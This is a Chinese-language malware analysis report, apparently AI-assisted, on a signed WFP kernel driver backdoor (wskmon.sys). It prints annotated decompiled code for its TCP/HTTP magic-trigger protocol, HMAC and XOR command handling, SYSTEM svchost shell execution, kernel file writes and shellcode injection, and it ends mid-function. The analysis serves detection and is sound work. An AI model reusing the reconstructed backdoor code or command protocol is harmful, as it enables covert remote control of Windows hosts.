【AI】wskmon.sys — WHQL 签名 WFP 内核驻留网络后门分析报告
wskmon.sys — WHQL 签名 WFP 内核驻留网络后门分析报告
参考来源: Anatomy of a WHQL-Signed Windows Filtering Platform (WFP) Kernel-Resident Network Backdoor — Pierre-Henri Pezier, Nextron Systems, 2026-06-26
分析对象:
495c7e5513fa7766c236e76d8520139139fc4ad7203ddcb2ccdae17bdb691979.sys
分析工具: IDA Pro 9.x (via ida-multi-mcp)
分析日期: 2026-06-30
分析方法: 全函数反编译 + 函数/全局变量重命名 + 关键逻辑注释。所有结论均以反编译结果作为佐证,不做臆造。
1. 样本元信息
| 字段 | 值 |
|---|---|
| 文件名 (内部) | wskmon.sys |
| 架构 | x64 (kernel-mode driver) |
| ImageBase | 0x140000000 |
| ImageSize | 0xA000 |
| MD5 | 26251ac33d9adc6c935c9edbd9dba7af |
| SHA-256 | 495c7e5513fa7766c236e76d8520139139fc4ad7203ddcb2ccdae17bdb691979 |
| 编译时间戳 | 0x69D10C8F → Sat Apr 4 06:05:19 2026 UTC |
| 签名主体 (CN) | 深圳市奥联信息安全技术有限公司 |
| 首次 VT 提交 | 2026-06-15 03:55:33 UTC (来源: 中国) |
| 段布局 | .text 0x3000 / fothk 0x1000 / .idata 0x1C0 / .rdata 0xE40 / .data 0x1000 / .pdata 0x1000 / INIT 0x1000 |
| 函数总数 | 53 (重命名前已命名 5 个,本次重命名 21 个) |
关键导入 (佐证后门能力):
fwpkclnt.sys:FwpsCalloutRegister1,FwpmFilterAdd0,FwpmCalloutAdd0,FwpmSubLayerAdd0,FwpsCopyStreamDataToBuffer0,FwpmEngineOpen0...cng.sys:BCryptOpenAlgorithmProvider,BCryptCreateHash,BCryptHashData,BCryptFinishHash(HMAC-SHA256)ntoskrnl.exe:ZwCreateFile/ZwWriteFile(任意文件落盘),ZwAllocateVirtualMemory(RWX 注入),KeStackAttachProcess/PsLookupProcessByProcessId/PsGetProcessPeb(跨进程),ZwOpenProcess/RtlCreateUserThread解析,PsReferencePrimaryToken/SeQueryInformationToken(SID 校验)
2. 总体架构
整个后门是一个 .sys 单文件,加载后没有任何用户态代理、没有 IOCTL 接口、没有注入 DLL。后门的全部攻击面是 WFP 流层 callout,攻击指令通过 TCP 流量送入:
TCP 包 (入站)
│
▼
WFP stream callout (classifyFn_1400013A0)
│ 检测 magic "\x7FNTF" / 或 POST body 中的 magic
│ 解析协议头 [magic][cmd_type][HMAC-SHA256(32B)][BE payload_len(4B)]
│ 分配 IoWorkItem + 缓冲区,复制完整 NTF 报文
▼
IoQueueWorkItem -> WorkerRoutine (DelayedWorkQueue)
│ ① VerifyHmacSha256 (cmd_type || encrypted_payload, key=g_HmacSha256Key)
│ ② XOR 旋转解密 (key=g_XorCipherTable, 32 字节循环)
│ ③ 按 cmd_type 分发:
│ 1 → ExecuteShellCmdInSvchost (注入 svchost, WinExec "cmd.exe /c ...")
│ 2 → WriteFileFromKernel (任意路径覆写/创建文件)
│ 3 → ExecuteShellcodeInSvchost (RWX 内存 + 远程线程执行 shellcode)
▼
释放缓冲区 + ExReleaseRundownProtection
classifyFn 返回 actionType = 0x1001 (FWP_ACTION_FLAG_CALLOUT_TERMINATING) 并清除 FWPS_RIGHT_ACTION_WRITE,意味着该段 TCP 数据被静默吞掉,用户态监听服务 (例如 Python http.server) 永远不会看到这些字节。这是文章中"Python HTTP 服务对此一无所知"的根因。
3. 函数重命名一览
本次分析在 IDA 数据库中重命名了 21 个函数与 17 个全局变量,并添加了关键注释。下表汇总 (按地址排序):
| 地址 | 原名 | 新名 | 说明 |
|---|---|---|---|
0x140001000 |
sub_140001000 |
DriverIrpStub |
所有 IRP 的 no-op 处理函数 |
0x140001030 |
DriverEntry |
DriverEntry |
已命名 (未改) |
0x1400011C0 |
sub_1400011C0 |
DriverUnloadRoutine |
驱动卸载例程 |
0x140001210 |
WorkerRoutine |
WorkerRoutine |
已命名 (未改) |
0x1400013A0 |
classifyFn_1400013A0 |
classifyFn_1400013A0 |
已命名 (未改) |
0x140001880 |
notifyFn_140001880 |
notifyFn_140001880 |
已命名 (未改) |
0x140001890 |
sub_140001890 |
WfpRegisterStreamCallout |
注册 WFP callout/sublayer/filter |
0x140001B20 |
sub_140001B20 |
WfpUnregisterCallout |
反注册 WFP 资源 |
0x140001BA0 |
sub_140001BA0 |
OpenSha256Provider |
打开 SHA256-HMAC 算法提供者 |
0x140001BC0 |
sub_140001BC0 |
CloseSha256Provider |
关闭算法提供者 |
0x140001BF0 |
sub_140001BF0 |
VerifyHmacSha256 |
验证 32 字节 HMAC-SHA256 标签 |
0x140001D50 |
sub_140001D50 |
ResolveRtlCreateUserThread |
解析线程创建函数地址 |
0x140001E10 |
sub_140001E10 |
ExecuteShellCmdInSvchost |
Type 1: 命令执行 |
0x140002040 |
sub_140002040 |
ExecuteShellcodeInSvchost |
Type 3: shellcode 执行 |
0x1400021B0 |
sub_1400021B0 |
FindModuleByUnicodeName |
通过 PEB Ldr 查找模块 |
0x1400022C0 |
sub_1400022C0 |
FindExportByName |
解析 PE 导出表查函数 |
0x1400023D0 |
sub_1400023D0 |
FindSystemSvchostProcess |
查找 SYSTEM svchost.exe |
0x1400025F0 |
sub_1400025F0 |
CreateRemoteThreadInProcess |
远程线程创建 (RtlCreateUserThread / ZwCreateThreadEx) |
0x140002770 |
sub_140002770 |
ResolveZwCreateThreadEx |
解析 ZwCreateThreadEx 系统调用 |
0x1400027F0 |
sub_1400027F0 |
WriteFileFromKernel |
Type 2: 任意文件写入 |
0x140002B80 |
sub_140002B80 |
memcpy_simd |
SSE/SIMD 加速 memcpy |
0x140003040 |
sub_140003040 |
memset_aligned |
SSE 加速 memset |
0x140003180 |
sub_140003180 |
memset_large |
大块 memset 分支 |
0x1400031C0 |
sub_1400031C0 |
memset_aligned_v2 |
memset 副本 |
0x140004010 |
sub_140004010 |
memset_thunk |
跳转到 memset 实现 |
重命名的全局变量
| 地址 | 原名 | 新名 | 内容 |
|---|---|---|---|
0x1400053F0 |
stru_1400053F0 |
g_SubLayerKey |
SubLayer GUID (手工构造) |
0x140005400 |
key |
g_CalloutKey |
Callout GUID |
0x140005410 |
xmmword_140005410 |
g_FilterKey |
Filter GUID |
0x140005420 |
xmmword_140005420 |
g_LayerKey |
Layer GUID (stream 层) |
0x140005470 |
xor_table_140005470 |
g_XorCipherTable |
32B XOR 旋转密钥 |
0x140005558 |
byte_140005558 |
g_HmacSha256Key |
32B HMAC-SHA256 密钥 |
0x140006040 |
(unnamed) | __security_cookie |
已有 |
0x1400060A8 |
byte_1400060A8 |
g_UnloadFlag |
卸载标志 |
0x1400060B8 |
qword_1400060B8 |
g_KiServiceTablePtr |
KiServiceTable 指针 |
| (各种) | DeviceObject |
g_WfpDeviceObject |
设备对象 |
| (各种) | RunRef |
g_RunRef |
Rundown protection |
| (各种) | engineHandle |
g_EngineHandle |
WFP 引擎句柄 |
| (各种) | calloutId |
g_CalloutId |
Callout ID |
| (各种) | id |
g_FilterId |
Filter ID |
| (各种) | hAlgorithm |
g_hSha256Algorithm |
SHA256 算法句柄 |
| (各种) | RtlCreateUserThread |
g_pRtlCreateUserThread |
函数指针 |
| (各种) | PsIsProtectedProcess |
g_pPsIsProtectedProcess |
函数指针 |
| (各种) | ZwCreateThreadEx |
g_pZwCreateThreadEx |
函数指针 |
4. 详细分析:DriverEntry 与 WFP 注册
4.1 DriverEntry (0x140001030)
驱动入口创建设备 \Device\WskMon,并将所有 27 个 IRP 主功能号全部指向 no-op 处理函数 DriverIrpStub。这是后门的标志性特征:没有任何用户态可触发的接口,整个攻击面只在 WFP 流层。
// DriverEntry: creates \Device\WskMon, all IRP dispatchers -> DriverIrpStub (no-op).
// Calls ResolveRtlCreateUserThread, OpenSha256Provider, WfpRegisterStreamCallout.
// No IOCTL/no user-mode agent.
NTSTATUS __stdcall DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
NTSTATUS result, v4, v5;
struct _DEVICE_OBJECT *v6;
struct _UNICODE_STRING DestinationString;
PDEVICE_OBJECT DeviceObject = 0;
ExInitializeRundownProtection(&g_RunRef);
RtlInitUnicodeString(&DestinationString, L"\\Device\\WskMon");
result = IoCreateDevice(DriverObject, 0, &DestinationString, 0x12u, 0x100u, 0, &DeviceObject);
if ( result < 0 )
return result;
g_WfpDeviceObject = DeviceObject;
DriverObject->DriverUnload = DriverUnloadRoutine;
DriverObject->MajorFunction[IRP_MJ_CREATE] = DriverIrpStub;
DriverObject->MajorFunction[IRP_MJ_CREATE_NAMED_PIPE] = DriverIrpStub;
DriverObject->MajorFunction[IRP_MJ_CLOSE] = DriverIrpStub;
/* ... 27 个 IRP_MJ_* 全部指向 DriverIrpStub ... */
DriverObject->MajorFunction[IRP_MJ_PNP] = DriverIrpStub;
v4 = ResolveRtlCreateUserThread(); // 解析线程创建函数
if ( v4 < 0 ) goto LABEL_6;
v5 = OpenSha256Provider(); // 打开 HMAC-SHA256 算法
v4 = v5;
if ( v5 < 0 ) { LABEL_7: IoDeleteDevice(v6); return v4; }
v4 = WfpRegisterStreamCallout(DeviceObject); // 注册 WFP callout
if ( v4 >= 0 )
return 0;
CloseSha256Provider();
LABEL_6:
v6 = DeviceObject;
goto LABEL_7;
}
4.2 DriverIrpStub (0x140001000) — 空的 IRP 处理
// DriverIrpStub: no-op IRP handler. Completes every IRP with STATUS_SUCCESS.
// Device has no real IOCTL/read/write surface - entire attack surface is the WFP callout.
NTSTATUS __stdcall DriverIrpStub(struct _DEVICE_OBJECT *DeviceObject, struct _IRP *Irp)
{
Irp->IoStatus.Status = 0;
Irp->IoStatus.Information = 0;
IofCompleteRequest(Irp, 0);
return 0;
}
4.3 WfpRegisterStreamCallout (0x140001890)
注册流层 callout,依次:开引擎、注册 callout、开事务、加 sublayer、加 callout 元数据、加 filter、提交事务。Filter 没有任何条件 (numFilterConditions = 0,filterCondition = NULL),意味着它匹配所有入站流;action.type = 0x6004 (FWP_ACTION_FLAG_TERMINATING)。
// WfpRegisterStreamCallout: FwpmEngineOpen0 -> FwpsCalloutRegister1(classifyFn, notifyFn)
// -> begin txn -> FwpmSubLayerAdd0('WskMon Sub', weight 0xFFFF)
// -> FwpmCalloutAdd0('WskMon Callout')
// -> FwpmFilterAdd0('WskMon Filter', action.type=0x6004 TERMINATING, no conditions = match all)
// -> commit.
NTSTATUS __fastcall WfpRegisterStreamCallout(void *deviceObject)
{
FWPS_CALLOUT1 callout;
FWPM_SUBLAYER0 subLayer;
FWPM_CALLOUT0 v6;
FWPM_SESSION0 session;
FWPM_FILTER0 filter;
memset(&session, 0, sizeof(session));
memset(&subLayer, 0, sizeof(subLayer));
memset(&callout, 0, sizeof(callout));
memset(&v6, 0, sizeof(v6));
memset_aligned((__int64)&filter, 0, 0xC8);
session.flags = 1; // FWPM_SESSION_FLAG_DYNAMIC
result = FwpmEngineOpen0(0, 0xAu, 0, &session, &g_EngineHandle); // RPC_AUTH_IDENT_FLAG_DEFAULT
if ( result < 0 )
return result;
callout.classifyFn = classifyFn_1400013A0;
callout.notifyFn = notifyFn_140001880;
callout.flowDeleteFn = 0;
callout.calloutKey = g_CalloutKey;
v3 = FwpsCalloutRegister1(deviceObject, &callout, &g_CalloutId);
if ( v3 >= 0 ) {
v3 = FwpmTransactionBegin0(g_EngineHandle, 0);
if ( v3 >= 0 ) {
subLayer.displayData.name = L"WskMon Sub";
subLayer.subLayerKey = g_SubLayerKey;
subLayer.weight = 0xFFFF;
v3 = FwpmSubLayerAdd0(g_EngineHandle, &subLayer, 0);
if ( v3 >= 0 ) {
v6.displayData.name = L"WskMon Callout";
v6.calloutKey = g_CalloutKey;
v6.applicableLayer = (GUID)g_LayerKey;
v3 = FwpmCalloutAdd0(g_EngineHandle, &v6, 0, 0);
if ( v3 >= 0 ) {
filter.filterKey = (GUID)g_FilterKey;
filter.displayData.name = L"WskMon Filter";
filter.layerKey = (GUID)g_LayerKey;
filter.subLayerKey = g_SubLayerKey;
filter.weight.type = FWP_UINT8;
filter.weight.uint8 = 0xF;
filter.action.filterType = g_CalloutKey;
filter.numFilterConditions = 0; // 无条件:匹配所有流
filter.filterCondition = 0;
filter.action.type = 0x6004; // FWP_ACTION_FLAG_TERMINATING
v3 = FwpmFilterAdd0(g_EngineHandle, &filter, 0, &g_FilterId);
if ( v3 >= 0 ) {
v3 = FwpmTransactionCommit0(g_EngineHandle);
if ( v3 >= 0 ) return 0;
}
}
}
FwpmTransactionAbort0(g_EngineHandle);
}
FwpsCalloutUnregisterById0(g_CalloutId);
g_CalloutId = 0;
}
FwpmEngineClose0(g_EngineHandle);
g_EngineHandle = 0;
return v3;
}
4.4 WFP GUID (手工构造)
通过 get_bytes 读取内存中的 GUID 原始字节,按 GUID 结构 (Data1 LE / Data2 LE / Data3 LE / Data8 BE) 解码:
| 全局 | 地址 | 原始字节 | 解码 GUID |
|---|---|---|---|
g_SubLayerKey |
0x1400053F0 |
D4 C3 B2 A1 F6 E5 90 78 AB CD EF 12 34 56 78 90 |
{A1B2C3D4-E5F6-7890-ABCD-EF1234567890} |
g_CalloutKey |
0x140005400 |
E5 D4 C3 B2 A7 F6 01 89 BC DE F1 23 45 67 89 01 |
{B2C3D4E5-F6A7-8901-BCDE-F12345678901} |
g_FilterKey |
0x140005410 |
F6 E5 D4 C3 B8 A7 12 90 CD EF 12 34 56 78 90 12 |
{C3D4E5F6-B8A7-1290-CDEF-123456789012} |
g_LayerKey |
0x140005420 |
3C 65 89 3B 70 C1 E4 49 B1 CD E0 EE EE E1 9A 3E |
{3B89653C-C170-49E4-B1CD-E0EEEEE19A3E} |
前三个明显是开发者手工构造的递增模式 (A1B2C3D4-E5F6-7890-...),第四个 g_LayerKey 是 stream 层的 GUID。该 callout 调用 FwpsCopyStreamDataToBuffer0 (流层专用 API),确认是 stream-layer callout。
4.5 DriverUnloadRoutine (0x1400011C0)
// DriverUnloadRoutine: g_UnloadFlag=1, WfpUnregisterCallout,
// ExWaitForRundownProtectionRelease (drain WorkerRoutine), CloseSha256Provider, IoDeleteDevice.
void __stdcall DriverUnloadRoutine(struct _DRIVER_OBJECT *DriverObject)
{
g_UnloadFlag = 1; // classifyFn 见此即放行
WfpUnregisterCallout(DriverObject);
ExWaitForRundownProtectionRelease(&g_RunRef); // 等待在途 WorkerRoutine 完成
CloseSha256Provider();
if ( g_WfpDeviceObject ) {
IoDeleteDevice(g_WfpDeviceObject);
g_WfpDeviceObject = 0;
}
}
5. 详细分析:classifyFn 流检测 (0x1400013A0)
这是整个后门的核心 — 入站 TCP 流检测例程。完整反编译如下 (节选关键路径,注释为本次分析添加):
void __stdcall classifyFn_1400013A0(
const FWPS_INCOMING_VALUES0 *inFixedValues,
const FWPS_INCOMING_METADATA_VALUES0 *inMetaValues,
void *layerData, ...)
{
const FWPS_STREAM_DATA0 *v8;
SIZE_T dataLength;
char buffer[4];
SIZE_T bytesCopied;
SIZE_T NumberOfBytes;
SIZE_T v33;
int v34;
PIO_WORKITEM IoWorkItem;
__int64 v36;
_BYTE v37[1024];
char v38;
if ( !layerData ) { classifyOut->actionType = 0x1002; return; } // PERMIT (无流数据)
v8 = *(const FWPS_STREAM_DATA0 **)layerData;
if ( !*(_QWORD *)layerData ) { /* ... PERMIT ... */ return; }
dataLength = v8->dataLength;
if ( g_UnloadFlag ) { /* 卸载中:放行 */ return; }
if ( (v8->flags & 1) == 0 ) { /* 非接收方向:放行 */ return; }
v11 = v8->flags & 0xC; // 终止标志
if ( dataLength < 4 ) {
/* 数据不足 4 字节:请求更多 (actionType=0x2006 NEED_MORE_DATA) */
...
return;
}
v13 = 4;
FwpsCopyStreamDataToBuffer0(v8, buffer, 4u, &bytesCopied); // 读首 4 字节
if ( bytesCopied >= 4 ) {
if ( buffer[0] == '\x7F' ) { // 路径 A: 裸 TCP
if ( buffer[1] != 'N' || buffer[2] != 'T' || buffer[3] != 'F' )
goto LABEL_58; // 不是 magic,放行
LODWORD(v13) = 0; // magic 偏移=0
} else { // 路径 B: HTTP POST 隐藏
if ( buffer[0] != 'P' || buffer[1] != 'O' || buffer[2] != 'S' || buffer[3] != 'T' )
goto LABEL_58;
v16 = 0x400;
if ( dataLength < 0x400 ) v16 = dataLength;
FwpsCopyStreamDataToBuffer0(v8, v37, v16, &bytesCopied); // 读最多 0x400 字节
if ( bytesCopied <= 7 ) goto LABEL_58;
while ( v37[v13] != '\x7F' || v37[v13+1] != 'N'
|| v37[v13+2] != 'T' || v37[v13+3] != 'F' ) { // 在 POST body 中扫描 magic
if ( ++v13 + 3 >= bytesCopied ) goto LABEL_58;
}
}
v36 = (unsigned int)v13; // magic 在流中的偏移
v33 = (unsigned int)v13 + 0xA00029LL; // 流最大长度上限 ~10MB+0x29
if ( dataLength <= v33 ) {
v14 = v13 + 0x29; // 头部总长度 = magic(4)+type(1)+HMAC(32)+len(4) = 0x29
v15 = (unsigned int)(v13 + 0x29);
v34 = v13 + 0x29;
if ( dataLength < v15 ) {
/* 头部未到齐:请求更多数据 */
...
return;
}
PoolWithTag = ExAllocatePoolWithTag(NonPagedPool, v14, 'mWsK'); // tag 'mWsK'
v18 = PoolWithTag;
if ( PoolWithTag ) {
FwpsCopyStreamDataToBuffer0(v8, PoolWithTag, v15, &bytesCopied); // 复制头部
if ( bytesCopied >= v15 ) {
v38 = v18[v36 + 4]; // cmd_type 字节
if ( (unsigned __int8)(v38 - 1) <= 2u ) { // cmd_type ∈ {1,2,3}
// 4 字节大端 payload 长度,位于 magic+0x25..0x28
v19 = (unsigned __int8)v18[v36 + 0x28]
| (((unsigned __int8)v18[v36 + 0x27]
| (((unsigned __int8)v18[v36 + 0x26] | ((unsigned __int8)v18[v36 + 0x25] << 8)) << 8)) << 8);
if ( v19 ) {
v20 = 0xA00000; // 默认上限 ~10MB (type 2/3)
if ( v38 == 1 ) v20 = 0x1000; // type 1 上限 0x1000 = 4KB
if ( v19 <= v20 ) {
v21 = v19 + v13 + 0x29; // 整包总长度
LODWORD(NumberOfBytes) = v21;
if ( v21 <= v33 ) {
if ( dataLength < v21 ) {
ExFreePoolWithTag(v18, 'mWsK');
/* 整包未到齐:请求更多 */
...
return;
}
if ( ExAcquireRundownProtection(&g_RunRef) ) { // 防止卸载时悬空
IoWorkItem = IoAllocateWorkItem(g_WfpDeviceObject);
if ( IoWorkItem ) {
v23 = ExAllocatePoolWithTag(NonPagedPool, 0x1048u, 'mWsK'); // Context
if ( v23 ) {
v26 = ExAllocatePoolWithTag(NonPagedPool, (unsigned int)NumberOfBytes, 'mWsK');
NumberOfBytes = (SIZE_T)v26;
if ( v26 ) {
v33 = 0;
FwpsCopyStreamDataToBuffer0(v8, v26, (unsigned int)v25, &v33); // 复制整包
if ( v33 >= v25 ) {
memset_aligned((__int64)(v23 + 9), 0, 0x103F);
v27 = IoWorkItem;
v23[8] = v38; // cmd_type @ Context[0x08]
v28 = v36;
*(_QWORD *)v23 = v27; // IoWorkItem @ Context[0x00]
*(_OWORD *)(v23 + 9) = *(_OWORD *)&v18[v28 + 5]; // HMAC[0..15] @ Context[0x09]
v29 = *(_OWORD *)&v18[v28 + 0x15]; // HMAC[16..31]
*((_QWORD *)v23 + 6) = NumberOfBytes; // payload buf ptr @ Context[0x30]
*((_DWORD *)v23 + 0xE) = v34; // header size @ Context[0x38]
*(_OWORD *)(v23 + 0x19) = v29; // HMAC[16..31] @ Context[0x19]
*((_DWORD *)v23 + 0xF) = v19; // payload len @ Context[0x3C]
IoQueueWorkItem(v27, WorkerRoutine, DelayedWorkQueue, v23);
ExFreePoolWithTag(v18, 'mWsK');
*((_DWORD *)layerData + 8) = 0;
*((_DWORD *)layerData + 4) = 0;
*((_QWORD *)layerData + 3) = v25; // 标记消费 v25 字节
classifyOut->rights &= ~1u; // 清 FWPS_RIGHT_ACTION_WRITE
v9 = 0x1001; // FWP_ACTION_FLAG_CALLOUT_TERMINATING
goto LABEL_60;
}
ExFreePoolWithTag((PVOID)NumberOfBytes, 'mWsK');
}
ExFreePoolWithTag(v23, 'mWsK');
}
IoFreeWorkItem(IoWorkItem);
}
ExReleaseRundownProtection(&g_RunRef);
}
}
}
}
}
}
ExFreePoolWithTag(v18, 'mWsK');
}
}
}
LABEL_58:
v9 = 0x1002; // FWP_ACTION_PERMIT (放行)
// 注意:放行时数据正常递交给用户态
LABEL_60:
classifyOut->actionType = v9;
}
5.1 NTF 协议格式 (反编译推断)
偏移 长度 字段
─────────────────────────────────────────────────────────────
0x00 4 Magic: 7F 4E 54 46 ("\x7FNTF")
0x04 1 cmd_type ∈ {0x01, 0x02, 0x03}
0x05 32 HMAC-SHA256 tag (覆盖 [cmd_type || encrypted_payload])
0x25 4 payload length (大端)
0x29 N XOR-加密的 payload
─────────────────────────────────────────────────────────────
- Magic 检测两路:
- 路径 A: 裸 TCP,开头即 magic
- 路径 B: HTTP POST 包体内扫描 magic (前 0x400 字节范围内)
- payload 长度上限:
cmd_type == 1→0x1000(4KB);cmd_type == 2/3→0xA00000(~10MB) - 整包上限:
magic_offset + 0xA00029字节 - 数据消费: 匹配时返回
0x1001(FWP_ACTION_FLAG_CALLOUT_TERMINATING) 并清FWPS_RIGHT_ACTION_WRITE,数据被吞掉;不匹配返回0x1002(FWP_ACTION_PERMIT),正常放行
5.2 WorkerRoutine Context 布局 (0x1048 字节)
| 偏移 | 大小 | 字段 | 来源 |
|---|---|---|---|
0x00 |
8 | IoWorkItem 指针 |
IoAllocateWorkItem |
0x08 |
1 | cmd_type |
v18[magic+4] |
0x09 |
32 | HMAC tag | v18[magic+5..0x24] |
0x29 |
7 | (padding) | — |
0x30 |
8 | payload buffer 指针 | 第二次 ExAllocatePoolWithTag |
0x38 |
4 | header size (= magic_off + 0x29) | v34 |
0x3C |
4 | payload length | v19 |
0x40 |
0x1008 | type 1 命令字符串 scratch | WorkerRoutine 内使用 |
6. WorkerRoutine 命令分发 (0x140001210)
// WorkerRoutine(WorkItem, Context): worker queued by classifyFn on DelayedWorkQueue.
// Context layout (size 0x1048): [0x00]IoWorkItem, [0x08]cmd_type byte, [0x09]32B HMAC tag,
// [0x29..0x30]padding, [0x30]payload buf ptr, [0x38]header size, [0x3C]payload len,
// [0x40]0x1008B cmd scratch. Verifies HMAC, XOR-decrypts (32B cycle g_XorCipherTable),
// dispatches type 1/2/3. Frees buffers, ExReleaseRundownProtection.
void __fastcall WorkerRoutine(PDEVICE_OBJECT DeviceObject, unsigned int *Context)
{
if ( Context ) {
v2 = *((_QWORD *)Context + 6); // payload buf ptr (Context[0x30])
if ( v2 ) {
v4 = (char *)(v2 + Context[0xE]); // payload buf + header_size
// = 指向加密 payload 起始
if ( v4 ) {
// 验证 HMAC: SHA256-HMAC(key=g_HmacSha256Key, [cmd_type || encrypted_payload])
if ( VerifyHmacSha256(*((_BYTE *)Context + 8), // cmd_type
(UCHAR *)v4, // encrypted payload
Context[0xF], // payload len
(const __m128i *)((char *)Context + 9)) ) { // HMAC tag
v5 = Context[0xF];
if ( *((_BYTE *)Context + 8) == 1 ) { // ==== Type 1: shell ====
memcpy_simd((char *)Context + 0x40, v4, v5); // 复制到 scratch
// XOR 旋转解密 (32 字节循环)
for ( i = 0; (unsigned int)i < v5; *v8 ^= g_XorCipherTable[v9] ) {
v8 = (char *)Context + i + 0x40;
v9 = i & 0x1F;
i = (unsigned int)(i + 1);
}
*((_BYTE *)Context + Context[0xF] + 0x40) = 0; // null 终止
v10 = *((_QWORD *)Context + 6);
if ( v10 ) {
ExFreePoolWithTag(v10, 0x6D57734Bu); // 释放原 payload buf
*((_QWORD *)Context + 6) = 0;
}
v16 = 0;
ExecuteShellCmdInSvchost((_BYTE *)Context + 0x40, 0, &v16);
} else {
// type 2/3: 原地 XOR 解密
for ( j = 0; (unsigned int)j < v5; *v12 ^= g_XorCipherTable[v13] ) {
v12 = &v4[j];
v13 = j & 0x1F;
j = (unsigned int)(j + 1);
}
v14 = *((_BYTE *)Context + 8);
if ( v14 == 2 ) // ==== Type 2: file ====
WriteFileFromKernel((__int64)v4, Context[0xF]);
else if ( v14 == 3 ) // ==== Type 3: shellcode ====
ExecuteShellcodeInSvchost(v4, Context[0xF]);
}
}
}
}
v15 = (void *)*((_QWORD *)Context + 6);
if ( v15 ) {
ExFreePoolWithTag(v15, 0x6D57734Bu); // tag 'mWsK'
*((_QWORD *)Context + 6) = 0;
}
IoFreeWorkItem(*(PIO_WORKITEM *)Context);
ExFreePoolWithTag(Context, 0x6D57734Bu);
ExReleaseRundownProtection(&g_RunRef);
}
}
关键观察:
- HMAC 验证先于 XOR 解密 — 防止未授权指令注入
- XOR 密钥是 32 字节固定表
g_XorCipherTable,按index & 0x1F循环使用 - Tag
'mWsK'(LE 0x6D57734B) 在所有 ExAllocatePoolWithTag 调用中出现 — 强检测指标
7. 命令处理器详解
7.1 Type 0x01 — ExecuteShellCmdInSvchost (0x140001E10)
将解密后的命令字符串作为 cmd.exe /c <cmd> 注入 SYSTEM svchost.exe 执行:
// ExecuteShellCmdInSvchost(cmd_string, _, pResult): finds SYSTEM svchost.exe,
// KeStackAttachProcess, ZwAllocateVirtualMemory (PAGE_READWRITE=4),
// writes 'cmd.exe /c ' + cmd_string, KeUnstackDetachProcess,
// CreateRemoteThreadInProcess(start=WinExec resolved from kernel32.dll in svchost PEB).
// Runs as SYSTEM in Session 0 (no visible window).
__int64 __fastcall ExecuteShellCmdInSvchost(_BYTE *a1, __int64 a2, _DWORD *a3)
{
struct _KPROCESS *v4, *v5;
__int64 ProcessPeb, v8, v9, v10;
unsigned __int64 v11, i;
NTSTATUS v12;
int v13, v18;
_BYTE *v14;
char v17;
ULONG_PTR v19[2];
struct _KAPC_STATE ApcState;
PVOID BaseAddress;
ULONG_PTR RegionSize;
*a3 = 0;
v4 = (struct _KPROCESS *)FindSystemSvchostProcess(); // 找一个 SYSTEM svchost
v5 = v4;
if ( !v4 )
return 3221226021LL; // STATUS_NOT_FOUND
KeStackAttachProcess(v4, &ApcState); // 切换到 svchost 地址空间
ProcessPeb = PsGetProcessPeb(v5);
v8 = ProcessPeb;
if ( !g_pRtlCreateUserThread )
ResolveZwCreateThreadEx(ProcessPeb); // 解析 ZwCreateThreadEx (现代 Windows)
v9 = FindModuleByUnicodeName(v8, L"kernel32.dll", 12); // 在 svchost PEB 找 kernel32.dll
v10 = FindExportByName(v9, "WinExec"); // 找 WinExec 导出
if ( v10 ) {
// 计算命令字符串长度
v11 = 0;
if ( *a1 ) { do ++v11; while ( a1[v11] ); }
RegionSize = v11 + 16;
BaseAddress = 0;
v12 = ZwAllocateVirtualMemory((HANDLE)-1, &BaseAddress, 0, &RegionSize,
0x3000u, 4u); // PAGE_READWRITE, MEM_RESERVE|COMMIT
if ( v12 >= 0 ) {
v13 = 0;
v14 = BaseAddress;
strcpy((char *)v19, "cmd.exe /c "); // 强制前缀
do {
v15 = v13++;
*v14++ = *((_BYTE *)v19 + v15);
} while ( *((_BYTE *)v19 + v13) );
for ( i = 0; i < v11; ++v14 ) { // 追加用户命令
v17 = a1[i++];
*v14 = v17;
}
*v14 = 0;
KeUnstackDetachProcess(&ApcState);
v18 = CreateRemoteThreadInProcess(v5, v10, BaseAddress); // Start=WinExec, Arg=BaseAddress
if ( v18 < 0 ) {
KeStackAttachProcess(v5, &ApcState);
v19[0] = 0;
ZwFreeVirtualMemory((HANDLE)-1, &BaseAddress, v19, 0x8000u);
KeUnstackDetachProcess(&ApcState);
}
ObfDereferenceObject(v5);
return (unsigned int)v18;
}
/* ... 失败路径 ... */
}
/* ... 失败路径 ... */
}
关键点:
- 强制
cmd.exe /c前缀 (操作者只需提供命令本身) - 通过
WinExec而非CreateProcess启动 — 启动例程更简单 - 运行在 Session 0 SYSTEM svchost 内,子进程没有可见窗口 (与文章描述一致)
- 子进程父进程是 svchost.exe — 异常父子关系,文章给出的检测指标
7.2 Type 0x02 — WriteFileFromKernel (0x1400027F0)
任意路径文件覆写/创建:
// WriteFileFromKernel(payload, len): payload layout [2B BE path_len][path UTF-8][file content].
// Prepends \??\, RtlUTF8ToUnicodeN -> UTF-16 path.
// ZwCreateFile(DesiredAccess=0x40100000 GENERIC_WRITE|SYNCHRONIZE, Disposition=5 FILE_OVERWRITE_IF,
// Options=0x20).
// ZwWriteFile writes content. Bypasses user-mode ACLs from kernel context.
NTSTATUS __fastcall WriteFileFromKernel(__int64 a1, unsigned int a2)
{
unsigned __int16 v4;
NTSTATUS result, v6;
ULONG v7;
struct _UNICODE_STRING DestinationString;
struct _IO_STATUS_BLOCK IoStatusBlock;
struct _OBJECT_ATTRIBUTES ObjectAttributes;
WCHAR SourceString[2];
WCHAR v12[288];
ULONG v13;
HANDLE FileHandle;
if ( a2 < 3 )
return 0xC000000D; // STATUS_INVALID_PARAMETER
v4 = _byteswap_ushort(*(_WORD *)a1); // 2B 大端路径长度
if ( (unsigned __int16)(v4 - 1) > 0x103u ) // 路径最长 0x104 字节
return -1073741811;
if ( (unsigned int)v4 + 2 > a2 )
return 0xC000000D;
wmemcpy(SourceString, L"\\??\\", 4); // 强制 \??\ 前缀 (绕过 DOS 路径)
v13 = 0;
if ( RtlUTF8ToUnicodeN(v12, 0x212u, &v13, (PCCH)(a1 + 2), v4) < 0 )
return 0xC000000D;
v12[(unsigned __int64)v13 >> 1] = 0;
RtlInitUnicodeString(&DestinationString, SourceString);
ObjectAttributes.Length = 48;
ObjectAttributes.RootDirectory = 0;
ObjectAttributes.Attributes = 576; // OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE
ObjectAttributes.ObjectName = &DestinationString;
*(_OWORD *)&ObjectAttributes.SecurityDescriptor = 0;
// GENERIC_WRITE (0x40000000) | SYNCHRONIZE (0x00100000) = 0x40100000
